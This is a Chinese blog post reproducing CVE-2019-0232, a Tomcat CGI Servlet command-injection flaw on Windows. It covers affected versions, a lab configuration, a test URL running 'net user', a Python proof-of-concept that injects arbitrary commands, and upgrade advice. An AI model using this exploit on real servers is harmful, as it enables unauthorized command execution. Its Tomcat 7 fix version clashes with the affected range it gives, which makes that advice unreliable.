摘要: 在Windows系统上运行的Tomcat容器,远程代码执行漏洞。
漏洞简介2019年4月10日,Apache Tomcat报告了一个漏洞,报告中称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的。
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
测试环境
Tomcat 8.5.39
JDK 8u121
0X00修改配置文件
web.xml
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet> <!-- The mapping for the CGI Gateway servlet --> <servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
content.xml
<Context privileged="true"> <!-- Default set of monitored resources. If one of these changes, the --> <!-- web application will be reloaded. --> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <!-- Uncomment this to disable session persistence across Tomcat restarts --> <!-- <Manager pathname="" /> --> </Context>
将WEB-INF 文件移动到 /webapps/ROOT 然后启动tomcat,WEB-INF以下参考链接可以下载到。
手动测试:
http://127.0.0.1:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
poc
import requests import sys # http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user url = sys.argv[1] url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C" cmd = sys.argv[2] vuln_url = url + url_dir +cmd print ("Usage: python CVE-2019-0232.py url cmd") print ("The Vuln url:\n\n" ,vuln_url) r = requests.get(vuln_url) print("\nThe Vuln Response Content: \n\n" , r.text)
受影响版本的用户应该应用下列其中一项缓解。升级到:
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
原文链接:https://blog.csdn.net/qq_29647709/article/details/89418524